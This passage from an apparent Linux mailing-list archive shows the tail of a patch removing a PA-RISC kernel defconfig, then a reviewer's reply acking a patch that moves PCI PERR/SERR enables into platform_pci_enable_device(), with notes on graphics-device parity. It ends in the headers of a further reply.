-# CONFIG_INPUT_TOUCHSCREEN is not set
-# CONFIG_INPUT_MISC is not set
-
-#
-# Hardware I/O ports
-#
-CONFIG_SERIO=y
-CONFIG_SERIO_SERPORT=y
-# CONFIG_SERIO_PARKBD is not set
-CONFIG_SERIO_GSCPS2=y
-CONFIG_HP_SDC=y
-CONFIG_HIL_MLC=y
-# CONFIG_SERIO_PCIPS2 is not set
-CONFIG_SERIO_LIBPS2=y
-# CONFIG_SERIO_RAW is not set
-# CONFIG_GAMEPORT is not set
-
-#
-# Character devices
-#
-CONFIG_VT=y
-CONFIG_VT_CONSOLE=y
-CONFIG_HW_CONSOLE=y
-# CONFIG_VT_HW_CONSOLE_BINDING is not set
-# CONFIG_SERIAL_NONSTANDARD is not set
-
-#
-# Serial drivers
-#
-CONFIG_SERIAL_8250=y
-CONFIG_SERIAL_8250_CONSOLE=y
-CONFIG_SERIAL_8250_GSC=y
-CONFIG_SERIAL_8250_PCI=y
-CONFIG_SERIAL_8250_CS=y
-CONFIG_SERIAL_8250_NR_UARTS=17
-CONFIG_SERIAL_8250_RUNTIME_UARTS=4
-CONFIG_SERIAL_8250_EXTENDED=y
-CONFIG_SERIAL_8250_MANY_PORTS=y
-CONFIG_SERIAL_8250_SHARE_IRQ=y
-# CONFIG_SERIAL_8250_DETECT_IRQ is not set
-# CONFIG_SERIAL_8250_RSA is not set
-
-#
-# Non-8250 serial port support
-#
-CONFIG_SERIAL_MUX=y
-CONFIG_SERIAL_MUX_CONSOLE=y
-CONFIG_SERIAL_CORE=y
-CONFIG_SERIAL_CORE_CONSOLE=y
-# CONFIG_SERIAL_JSM is not set
-CONFIG_UNIX98_PTYS=y
-CONFIG_LEGACY_PTYS=y
-CONFIG_LEGACY_PTY_COUNT=64
-CONFIG_PRINTER=m
-# CONFIG_LP_CONSOLE is not set
-CONFIG_PPDEV=m
-# CONFIG_TIPAR is not set
-# CONFIG_IPMI_HANDLER is not set
-# CONFIG_WATCHDOG is not set
-# CONFIG_HW_RANDOM is not set
-CONFIG_GEN_RTC=y
-CONFIG_GEN_RTC_X=y
-# CONFIG_R3964 is not set
-# CONFIG_APPLICOM is not set
-# CONFIG_AGP is not set
-# CONFIG_DRM is not set
-
-#
-# PCMCIA character devices
-#
-# CONFIG_SYNCLINK_CS is not set
-# CONFIG_CARDMAN_4000 is not set
-# CONFIG_CARDMAN_4040 is not set
-# CONFIG_RAW_DRIVER is not set
-# CONFIG_TCG_TPM is not set
-CONFIG_DEVPORT=y
-# CONFIG_I2C is not set
-
-#
-# SPI support
-#
-# CONFIG_SPI is not set
-# CONFIG_SPI_MASTER is not set
-# CONFIG_W1 is not set
-# CONFIG_POWER_SUPPLY is not set
-# CONFIG_HWMON is not set
-
-#
-# Sonics Silicon Backplane
-#
-CONFIG_SSB_POSSIBLE=y
-# CONFIG_SSB is not set
-
-#
-# Multifunction device drivers
-#
-# CONFIG_MFD_SM501 is not set
-
-#
-# Multimedia devices
-#
-# CONFIG_VIDEO_DEV is not set
-# CONFIG_DVB_CORE is not set
-# CONFIG_DAB is not set
-
-#
-# Graphics support
-#
-# CONFIG_BACKLIGHT_LCD_SUPPORT is not set
-
-#
-# Display device support
-#
-# CONFIG_DISPLAY_SUPPORT is not set
-# CONFIG_VGASTATE is not set
-CONFIG_VIDEO_OUTPUT_CONTROL=m
-CONFIG_FB=y
-# CONFIG_FIRMWARE_EDID is not set
-# CONFIG_FB_DDC is not set
-CONFIG_FB_CFB_FILLRECT=y
-CONFIG_FB_CFB_COPYAREA=y
-CONFIG_FB_CFB_IMAGEBLIT=y
-# CONFIG_FB_SYS_FILLRECT is not set
-# CONFIG_FB_SYS_COPYAREA is not set
-# CONFIG_FB_SYS_IMAGEBLIT is not set
-# CONFIG_FB_SYS_FOPS is not set
-CONFIG_FB_DEFERRED_IO=y
-# CONFIG_FB_SVGALIB is not set
-# CONFIG_FB_MACMODES is not set
-# CONFIG_FB_BACKLIGHT is not set
-CONFIG_FB_MODE_HELPERS=y
-CONFIG_FB_TILEBLITTING=y
-
-#
-# Frame buffer hardware drivers
-#
-# CONFIG_FB_CIRRUS is not set
-# CONFIG_FB_PM2 is not set
-# CONFIG_FB_CYBER2000 is not set
-# CONFIG_FB_ASILIANT is not set
-# CONFIG_FB_IMSTT is not set
-CONFIG_FB_STI=y
-# CONFIG_FB_S1D13XXX is not set
-# CONFIG_FB_NVIDIA is not set
-# CONFIG_FB_RIVA is not set
-# CONFIG_FB_MATROX is not set
-# CONFIG_FB_RADEON is not set
-# CONFIG_FB_ATY128 is not set
-# CONFIG_FB_ATY is not set
-# CONFIG_FB_S3 is not set
-# CONFIG_FB_SAVAGE is not set
-# CONFIG_FB_SIS is not set
-# CONFIG_FB_NEOMAGIC is not set
-# CONFIG_FB_KYRO is not set
-# CONFIG_FB_3DFX is not set
-# CONFIG_FB_VOODOO1 is not set
-# CONFIG_FB_VT8623 is not set
-# CONFIG_FB_TRIDENT is not set
-# CONFIG_FB_ARK is not set
-# CONFIG_FB_PM3 is not set
-# CONFIG_FB_VIRTUAL is not set
-
-#
-# Console display driver support
-#
-CONFIG_DUMMY_CONSOLE=y
-CONFIG_DUMMY_CONSOLE_COLUMNS=128
-CONFIG_DUMMY_CONSOLE_ROWS=48
-CONFIG_FRAMEBUFFER_CONSOLE=y
-# CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY is not set
-# CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set
-CONFIG_STI_CONSOLE=y
-CONFIG_FONTS=y
-# CONFIG_FONT_8x8 is not set
-CONFIG_FONT_8x16=y
-# CONFIG_FONT_6x11 is not set
-# CONFIG_FONT_7x14 is not set
-# CONFIG_FONT_PEARL_8x8 is not set
-# CONFIG_FONT_ACORN_8x8 is not set
-# CONFIG_FONT_MINI_4x6 is not set
-# CONFIG_FONT_SUN8x16 is not set
-# CONFIG_FONT_SUN12x22 is not set
-# CONFIG_FONT_10x18 is not set
-CONFIG_LOGO=y
-# CONFIG_LOGO_LINUX_MONO is not set
-# CONFIG_LOGO_LINUX_VGA16 is not set
-# CONFIG_LOGO_LINUX_CLUT224 is not set
-CONFIG_LOGO_PARISC_CLUT224=y
-
-#
-# Sound
-#
-CONFIG_SOUND=y
-
-#
-# Advanced Linux Sound Architecture
-#
-CONFIG_SND=y
-CONFIG_SND_TIMER=y
-CONFIG_SND_PCM=y
-CONFIG_SND_SEQUENCER=y
-# CONFIG_SND_SEQ_DUMMY is not set
-CONFIG_SND_OSSEMUL=y
-CONFIG_SND_MIXER_OSS=y
-CONFIG_SND_PCM_OSS=y
-CONFIG_SND_PCM_OSS_PLUGINS=y
-CONFIG_SND_SEQUENCER_OSS=y
-CONFIG_SND_DYNAMIC_MINORS=y
-CONFIG_SND_SUPPORT_OLD_API=y
-CONFIG_SND_VERBOSE_PROCFS=y
-# CONFIG_SND_VERBOSE_PRINTK is not set
-# CONFIG_SND_DEBUG is not set
-
-#
-# Generic devices
-#
-CONFIG_SND_AC97_CODEC=y
-# CONFIG_SND_DUMMY is not set
-# CONFIG_SND_VIRMIDI is not set
-# CONFIG_SND_MTPAV is not set
-# CONFIG_SND_MTS64 is not set
-# CONFIG_SND_SERIAL_U16550 is not set
-# CONFIG_SND_MPU401 is not set
-# CONFIG_SND_PORTMAN2X4 is not set
-
-#
-# PCI devices
-#
-CONFIG_SND_AD1889=y
-# CONFIG_SND_ALS300 is not set
-# CONFIG_SND_ALI5451 is not set
-# CONFIG_SND_ATIIXP is not set
-# CONFIG_SND_ATIIXP_MODEM is not set
-# CONFIG_SND_AU8810 is not set
-# CONFIG_SND_AU8820 is not set
-# CONFIG_SND_AU8830 is not set
-# CONFIG_SND_AZT3328 is not set
-# CONFIG_SND_BT87X is not set
-# CONFIG_SND_CA0106 is not set
-# CONFIG_SND_CMIPCI is not set
-# CONFIG_SND_CS4281 is not set
-# CONFIG_SND_CS46XX is not set
-# CONFIG_SND_DARLA20 is not set
-# CONFIG_SND_GINA20 is not set
-# CONFIG_SND_LAYLA20 is not set
-# CONFIG_SND_DARLA24 is not set
-# CONFIG_SND_GINA24 is not set
-# CONFIG_SND_LAYLA24 is not set
-# CONFIG_SND_MONA is not set
-# CONFIG_SND_MIA is not set
-# CONFIG_SND_ECHO3G is not set
-# CONFIG_SND_INDIGO is not set
-# CONFIG_SND_INDIGOIO is not set
-# CONFIG_SND_INDIGODJ is not set
-# CONFIG_SND_EMU10K1 is not set
-# CONFIG_SND_EMU10K1X is not set
-# CONFIG_SND_ENS1370 is not set
-# CONFIG_SND_ENS1371 is not set
-# CONFIG_SND_ES1938 is not set
-# CONFIG_SND_ES1968 is not set
-# CONFIG_SND_FM801 is not set
-# CONFIG_SND_HDA_INTEL is not set
-# CONFIG_SND_HDSP is not set
-# CONFIG_SND_HDSPM is not set
-# CONFIG_SND_ICE1712 is not set
-# CONFIG_SND_ICE1724 is not set
-# CONFIG_SND_INTEL8X0 is not set
-# CONFIG_SND_INTEL8X0M is not set
-# CONFIG_SND_KORG1212 is not set
-# CONFIG_SND_MAESTRO3 is not set
-# CONFIG_SND_MIXART is not set
-# CONFIG_SND_NM256 is not set
-# CONFIG_SND_PCXHR is not set
-# CONFIG_SND_RIPTIDE is not set
-# CONFIG_SND_RME32 is not set
-# CONFIG_SND_RME96 is not set
-# CONFIG_SND_RME9652 is not set
-# CONFIG_SND_SONICVIBES is not set
-# CONFIG_SND_TRIDENT is not set
-# CONFIG_SND_VIA82XX is not set
-# CONFIG_SND_VIA82XX_MODEM is not set
-# CONFIG_SND_VX222 is not set
-# CONFIG_SND_YMFPCI is not set
-# CONFIG_SND_AC97_POWER_SAVE is not set
-
-#
-# USB devices
-#
-# CONFIG_SND_USB_AUDIO is not set
-# CONFIG_SND_USB_CAIAQ is not set
-
-#
-# PCMCIA devices
-#
-# CONFIG_SND_VXPOCKET is not set
-# CONFIG_SND_PDAUDIOCF is not set
-
-#
-# GSC devices
-#
-CONFIG_SND_HARMONY=y
-
-#
-# System on Chip audio support
-#
-# CONFIG_SND_SOC is not set
-
-#
-# SoC Audio support for SuperH
-#
-
-#
-# Open Sound System
-#
-# CONFIG_SOUND_PRIME is not set
-CONFIG_AC97_BUS=y
-CONFIG_HID_SUPPORT=y
-CONFIG_HID=y
-CONFIG_HID_DEBUG=y
-
-#
-# USB Input Devices
-#
-CONFIG_USB_HID=y
-# CONFIG_USB_HIDINPUT_POWERBOOK is not set
-# CONFIG_HID_FF is not set
-# CONFIG_USB_HIDDEV is not set
-CONFIG_USB_SUPPORT=y
-CONFIG_USB_ARCH_HAS_HCD=y
-CONFIG_USB_ARCH_HAS_OHCI=y
-CONFIG_USB_ARCH_HAS_EHCI=y
-CONFIG_USB=y
-# CONFIG_USB_DEBUG is not set
-
-#
-# Miscellaneous USB options
-#
-CONFIG_USB_DEVICEFS=y
-CONFIG_USB_DEVICE_CLASS=y
-# CONFIG_USB_DYNAMIC_MINORS is not set
-# CONFIG_USB_OTG is not set
-
-#
-# USB Host Controller Drivers
-#
-# CONFIG_USB_EHCI_HCD is not set
-# CONFIG_USB_ISP116X_HCD is not set
-CONFIG_USB_OHCI_HCD=y
-# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
-# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
-CONFIG_USB_OHCI_LITTLE_ENDIAN=y
-CONFIG_USB_UHCI_HCD=y
-# CONFIG_USB_SL811_HCD is not set
-# CONFIG_USB_R8A66597_HCD is not set
-
-#
-# USB Device Class drivers
-#
-# CONFIG_USB_ACM is not set
-# CONFIG_USB_PRINTER is not set
-
-#
-# NOTE: USB_STORAGE enables SCSI, and 'SCSI disk support'
-#
-
-#
-# may also be needed; see USB_STORAGE Help for more information
-#
-# CONFIG_USB_STORAGE is not set
-# CONFIG_USB_LIBUSUAL is not set
-
-#
-# USB Imaging devices
-#
-# CONFIG_USB_MDC800 is not set
-# CONFIG_USB_MICROTEK is not set
-CONFIG_USB_MON=y
-
-#
-# USB port drivers
-#
-# CONFIG_USB_USS720 is not set
-
-#
-# USB Serial Converter support
-#
-# CONFIG_USB_SERIAL is not set
-
-#
-# USB Miscellaneous drivers
-#
-# CONFIG_USB_EMI62 is not set
-# CONFIG_USB_EMI26 is not set
-# CONFIG_USB_ADUTUX is not set
-# CONFIG_USB_AUERSWALD is not set
-# CONFIG_USB_RIO500 is not set
-# CONFIG_USB_LEGOTOWER is not set
-# CONFIG_USB_LCD is not set
-# CONFIG_USB_BERRY_CHARGE is not set
-# CONFIG_USB_LED is not set
-# CONFIG_USB_CYPRESS_CY7C63 is not set
-# CONFIG_USB_CYTHERM is not set
-# CONFIG_USB_PHIDGET is not set
-# CONFIG_USB_IDMOUSE is not set
-# CONFIG_USB_FTDI_ELAN is not set
-# CONFIG_USB_APPLEDISPLAY is not set
-# CONFIG_USB_LD is not set
-# CONFIG_USB_TRANCEVIBRATOR is not set
-# CONFIG_USB_IOWARRIOR is not set
-# CONFIG_USB_TEST is not set
-
-#
-# USB DSL modem support
-#
-
-#
-# USB Gadget Support
-#
-# CONFIG_USB_GADGET is not set
-# CONFIG_MMC is not set
-# CONFIG_NEW_LEDS is not set
-# CONFIG_INFINIBAND is not set
-# CONFIG_RTC_CLASS is not set
-
-#
-# DMA Engine support
-#
-# CONFIG_DMA_ENGINE is not set
-
-#
-# DMA Clients
-#
-
-#
-# DMA Devices
-#
-# CONFIG_AUXDISPLAY is not set
-
-#
-# Userspace I/O
-#
-# CONFIG_UIO is not set
-
-#
-# File systems
-#
-CONFIG_EXT2_FS=y
-# CONFIG_EXT2_FS_XATTR is not set
-# CONFIG_EXT2_FS_XIP is not set
-CONFIG_EXT3_FS=y
-# CONFIG_EXT3_FS_XATTR is not set
-# CONFIG_EXT4DEV_FS is not set
-CONFIG_JBD=y
-# CONFIG_JBD_DEBUG is not set
-# CONFIG_REISERFS_FS is not set
-# CONFIG_JFS_FS is not set
-CONFIG_FS_POSIX_ACL=y
-# CONFIG_XFS_FS is not set
-# CONFIG_GFS2_FS is not set
-# CONFIG_OCFS2_FS is not set
-# CONFIG_MINIX_FS is not set
-# CONFIG_ROMFS_FS is not set
-CONFIG_INOTIFY=y
-CONFIG_INOTIFY_USER=y
-# CONFIG_QUOTA is not set
-CONFIG_DNOTIFY=y
-CONFIG_AUTOFS_FS=y
-# CONFIG_AUTOFS4_FS is not set
-# CONFIG_FUSE_FS is not set
-
-#
-# CD-ROM/DVD Filesystems
-#
-CONFIG_ISO9660_FS=y
-CONFIG_JOLIET=y
-# CONFIG_ZISOFS is not set
-# CONFIG_UDF_FS is not set
-
-#
-# DOS/FAT/NT Filesystems
-#
-CONFIG_FAT_FS=y
-# CONFIG_MSDOS_FS is not set
-CONFIG_VFAT_FS=y
-CONFIG_FAT_DEFAULT_CODEPAGE=437
-CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
-# CONFIG_NTFS_FS is not set
-
-#
-# Pseudo filesystems
-#
-CONFIG_PROC_FS=y
-CONFIG_PROC_KCORE=y
-CONFIG_PROC_SYSCTL=y
-CONFIG_SYSFS=y
-CONFIG_TMPFS=y
-# CONFIG_TMPFS_POSIX_ACL is not set
-# CONFIG_HUGETLB_PAGE is not set
-CONFIG_RAMFS=y
-# CONFIG_CONFIGFS_FS is not set
-
-#
-# Miscellaneous filesystems
-#
-# CONFIG_ADFS_FS is not set
-# CONFIG_AFFS_FS is not set
-# CONFIG_ECRYPT_FS is not set
-# CONFIG_HFS_FS is not set
-# CONFIG_HFSPLUS_FS is not set
-# CONFIG_BEFS_FS is not set
-# CONFIG_BFS_FS is not set
-# CONFIG_EFS_FS is not set
-# CONFIG_CRAMFS is not set
-# CONFIG_VXFS_FS is not set
-# CONFIG_HPFS_FS is not set
-# CONFIG_QNX4FS_FS is not set
-# CONFIG_SYSV_FS is not set
-# CONFIG_UFS_FS is not set
-
-#
-# Network File Systems
-#
-CONFIG_NFS_FS=y
-CONFIG_NFS_V3=y
-# CONFIG_NFS_V3_ACL is not set
-# CONFIG_NFS_V4 is not set
-# CONFIG_NFS_DIRECTIO is not set
-CONFIG_NFSD=y
-CONFIG_NFSD_V3=y
-# CONFIG_NFSD_V3_ACL is not set
-CONFIG_NFSD_V4=y
-CONFIG_NFSD_TCP=y
-CONFIG_ROOT_NFS=y
-CONFIG_LOCKD=y
-CONFIG_LOCKD_V4=y
-CONFIG_EXPORTFS=y
-CONFIG_NFS_COMMON=y
-CONFIG_SUNRPC=y
-CONFIG_SUNRPC_GSS=y
-# CONFIG_SUNRPC_BIND34 is not set
-CONFIG_RPCSEC_GSS_KRB5=y
-CONFIG_RPCSEC_GSS_SPKM3=m
-CONFIG_SMB_FS=m
-CONFIG_SMB_NLS_DEFAULT=y
-CONFIG_SMB_NLS_REMOTE="cp437"
-CONFIG_CIFS=m
-# CONFIG_CIFS_STATS is not set
-# CONFIG_CIFS_WEAK_PW_HASH is not set
-# CONFIG_CIFS_XATTR is not set
-# CONFIG_CIFS_DEBUG2 is not set
-# CONFIG_CIFS_EXPERIMENTAL is not set
-# CONFIG_NCP_FS is not set
-# CONFIG_CODA_FS is not set
-# CONFIG_AFS_FS is not set
-
-#
-# Partition Types
-#
-# CONFIG_PARTITION_ADVANCED is not set
-CONFIG_MSDOS_PARTITION=y
-
-#
-# Native Language Support
-#
-CONFIG_NLS=y
-CONFIG_NLS_DEFAULT="iso8859-1"
-CONFIG_NLS_CODEPAGE_437=y
-CONFIG_NLS_CODEPAGE_737=m
-CONFIG_NLS_CODEPAGE_775=m
-CONFIG_NLS_CODEPAGE_850=m
-CONFIG_NLS_CODEPAGE_852=m
-CONFIG_NLS_CODEPAGE_855=m
-CONFIG_NLS_CODEPAGE_857=m
-CONFIG_NLS_CODEPAGE_860=m
-CONFIG_NLS_CODEPAGE_861=m
-CONFIG_NLS_CODEPAGE_862=m
-CONFIG_NLS_CODEPAGE_863=m
-CONFIG_NLS_CODEPAGE_864=m
-CONFIG_NLS_CODEPAGE_865=m
-CONFIG_NLS_CODEPAGE_866=m
-CONFIG_NLS_CODEPAGE_869=m
-CONFIG_NLS_CODEPAGE_936=m
-CONFIG_NLS_CODEPAGE_950=m
-CONFIG_NLS_CODEPAGE_932=m
-CONFIG_NLS_CODEPAGE_949=m
-CONFIG_NLS_CODEPAGE_874=m
-CONFIG_NLS_ISO8859_8=m
-CONFIG_NLS_CODEPAGE_1250=y
-CONFIG_NLS_CODEPAGE_1251=m
-CONFIG_NLS_ASCII=m
-CONFIG_NLS_ISO8859_1=y
-CONFIG_NLS_ISO8859_2=m
-CONFIG_NLS_ISO8859_3=m
-CONFIG_NLS_ISO8859_4=m
-CONFIG_NLS_ISO8859_5=m
-CONFIG_NLS_ISO8859_6=m
-CONFIG_NLS_ISO8859_7=m
-CONFIG_NLS_ISO8859_9=m
-CONFIG_NLS_ISO8859_13=m
-CONFIG_NLS_ISO8859_14=m
-CONFIG_NLS_ISO8859_15=m
-CONFIG_NLS_KOI8_R=m
-CONFIG_NLS_KOI8_U=m
-CONFIG_NLS_UTF8=y
-
-#
-# Distributed Lock Manager
-#
-# CONFIG_DLM is not set
-
-#
-# Profiling support
-#
-CONFIG_PROFILING=y
-CONFIG_OPROFILE=m
-
-#
-# Kernel hacking
-#
-# CONFIG_PRINTK_TIME is not set
-CONFIG_ENABLE_MUST_CHECK=y
-CONFIG_MAGIC_SYSRQ=y
-# CONFIG_UNUSED_SYMBOLS is not set
-# CONFIG_DEBUG_FS is not set
-CONFIG_HEADERS_CHECK=y
-CONFIG_DEBUG_KERNEL=y
-# CONFIG_DEBUG_SHIRQ is not set
-CONFIG_DETECT_SOFTLOCKUP=y
-CONFIG_SCHED_DEBUG=y
-# CONFIG_SCHEDSTATS is not set
-# CONFIG_TIMER_STATS is not set
-# CONFIG_DEBUG_SLAB is not set
-# CONFIG_DEBUG_RT_MUTEXES is not set
-# CONFIG_RT_MUTEX_TESTER is not set
-# CONFIG_DEBUG_SPINLOCK is not set
-CONFIG_DEBUG_MUTEXES=y
-# CONFIG_DEBUG_SPINLOCK_SLEEP is not set
-# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
-# CONFIG_DEBUG_KOBJECT is not set
-CONFIG_DEBUG_BUGVERBOSE=y
-# CONFIG_DEBUG_INFO is not set
-# CONFIG_DEBUG_VM is not set
-# CONFIG_DEBUG_LIST is not set
-CONFIG_FORCED_INLINING=y
-# CONFIG_RCU_TORTURE_TEST is not set
-# CONFIG_FAULT_INJECTION is not set
-# CONFIG_DEBUG_RODATA is not set
-
-#
-# Security options
-#
-CONFIG_KEYS=y
-CONFIG_KEYS_DEBUG_PROC_KEYS=y
-# CONFIG_SECURITY is not set
-CONFIG_CRYPTO=y
-CONFIG_CRYPTO_ALGAPI=y
-CONFIG_CRYPTO_BLKCIPHER=y
-CONFIG_CRYPTO_HASH=y
-CONFIG_CRYPTO_MANAGER=y
-CONFIG_CRYPTO_HMAC=y
-# CONFIG_CRYPTO_XCBC is not set
-CONFIG_CRYPTO_NULL=m
-CONFIG_CRYPTO_MD4=m
-CONFIG_CRYPTO_MD5=y
-CONFIG_CRYPTO_SHA1=y
-CONFIG_CRYPTO_SHA256=m
-CONFIG_CRYPTO_SHA512=m
-CONFIG_CRYPTO_WP512=m
-CONFIG_CRYPTO_TGR192=m
-# CONFIG_CRYPTO_GF128MUL is not set
-# CONFIG_CRYPTO_ECB is not set
-CONFIG_CRYPTO_CBC=y
-# CONFIG_CRYPTO_PCBC is not set
-# CONFIG_CRYPTO_LRW is not set
-# CONFIG_CRYPTO_XTS is not set
-# CONFIG_CRYPTO_CRYPTD is not set
-CONFIG_CRYPTO_DES=y
-# CONFIG_CRYPTO_FCRYPT is not set
-CONFIG_CRYPTO_BLOWFISH=m
-CONFIG_CRYPTO_TWOFISH=m
-CONFIG_CRYPTO_TWOFISH_COMMON=m
-CONFIG_CRYPTO_SERPENT=m
-CONFIG_CRYPTO_AES=m
-CONFIG_CRYPTO_CAST5=m
-CONFIG_CRYPTO_CAST6=m
-CONFIG_CRYPTO_TEA=m
-CONFIG_CRYPTO_ARC4=m
-CONFIG_CRYPTO_KHAZAD=m
-CONFIG_CRYPTO_ANUBIS=m
-# CONFIG_CRYPTO_SEED is not set
-CONFIG_CRYPTO_DEFLATE=y
-CONFIG_CRYPTO_MICHAEL_MIC=m
-CONFIG_CRYPTO_CRC32C=m
-# CONFIG_CRYPTO_CAMELLIA is not set
-CONFIG_CRYPTO_TEST=m
-# CONFIG_CRYPTO_AUTHENC is not set
-# CONFIG_CRYPTO_HW is not set
-
-#
-# Library routines
-#
-CONFIG_BITREVERSE=y
-CONFIG_CRC_CCITT=m
-# CONFIG_CRC16 is not set
-# CONFIG_CRC_ITU_T is not set
-CONFIG_CRC32=y
-# CONFIG_CRC7 is not set
-CONFIG_LIBCRC32C=m
-CONFIG_ZLIB_INFLATE=y
-CONFIG_ZLIB_DEFLATE=y
-CONFIG_PLIST=y
-CONFIG_HAS_IOMEM=y
-CONFIG_HAS_IOPORT=y
-CONFIG_HAS_DMA=y


From - Thu Nov 08 21:02:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 5/6] PARISC: move PERR & SERR enables out of
	pcibios_enable_resources()
Date: Thu, 28 Feb 2008 10:31:25 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <20080228173125.GA16270@colo.lackof.org>
References: <20080228000437.880811124@ldl.fc.hp.com> <20080228001053.209248743@ldl.fc.hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1204219926 20679 80.91.229.12 (28 Feb 2008 17:32:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Feb 2008 17:32:06 +0000 (UTC)
Cc: linux-pci@atrey.karlin.mff.cuni.cz, linux-arch@vger.kernel.org,
	Russell King <rmk@arm.linux.org.uk>,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 28 18:32:29 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JUmc8-0002YT-FU
	for glpp-linux-parisc@gmane.org; Thu, 28 Feb 2008 18:32:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757611AbYB1Rbj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 28 Feb 2008 12:31:39 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757586AbYB1Rbj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 28 Feb 2008 12:31:39 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:48461 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753996AbYB1Rbi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 28 Feb 2008 12:31:38 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 23A55298053;
	Thu, 28 Feb 2008 10:31:36 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17371-05; Thu, 28 Feb 2008 10:31:25 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B203629802C; Thu, 28 Feb 2008 10:31:25 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20080228001053.209248743@ldl.fc.hp.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:143 gmane.linux.ports.arm.kernel:39035 gmane.linux.ports.ppc64.devel:36419
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/143>

On Wed, Feb 27, 2008 at 05:04:42PM -0700, Bjorn Helgaas wrote:
> Move PERR and SERR enables from pcibios_enable_resources() to
> platform_pci_enable_device() so the former matches other
> architectures and can be shared.
> 
> Signed-off-by: Bjorn Helgaas <bjorn.helgaas@hp.com>

Ack-By: Grant Grundler <grundler@parisc-linux.org>

This patch sequence is heading in the right direction.
I've not tested this particular one yet but I'm pretty sure it's ok.
I'll fixup any breakage for parisc.

...
> +/*
> + * A driver is enabling the device.  We enable the PERR and SERR bits
> + * unconditionally.  Drivers that do not need parity (eg graphics and
> + * possibly networking) can clear these bits if they want.
> + */
> +static int platform_pci_enable_device(struct pci_dev *dev)

Thanks for preserving this comment.

In general, I'm wondering if the check for device class would be
sufficient here to NOT enable PERR/SERR for graphics automatically.
While disabling PERR was "the right thing" for older "mostly write"
devices of the 1990's and early 2000, it might not be correct for
current 3-D graphics devices which use host mem to buffer processed
results. I'm thinking of Intel graphics controllers in particular
but I don't know any details of how they actually work.

I'm also a bit concerned about this now becuase (IIRC) AGP didn't
implement parity though it looked like PCI protocol. PCI-e certainly
does but it's possible BIOS/Firmware disable parity generation
on the host bridge when connected to a gfx device.
We wouldn't want to enable parity checking on a PCI-e gfx device in this
case and I hope someone (perhaps at Intel) could double check this.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 5/6] PARISC: move PERR & SERR enables out of
	pcibios_enable_resources()
Date: Thu, 28 Feb 2008 12:38:16 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20080228173816.GA32265@phobos.i.cabal.ca>
References: <20080228000437.880811124@ldl.fc.hp.com> <20080228001053.209248743@ldl.fc.hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1204220311 22021 80.91.229.12 (28 Feb 2008 17:38:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Feb 2008 17:38:31 +0000 (UTC)
Cc: linux-pci@atrey.karlin.mff.cuni.cz, linux-arch@vger.kernel.org,
	Russell King <rmk@arm.linux.org.uk>,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
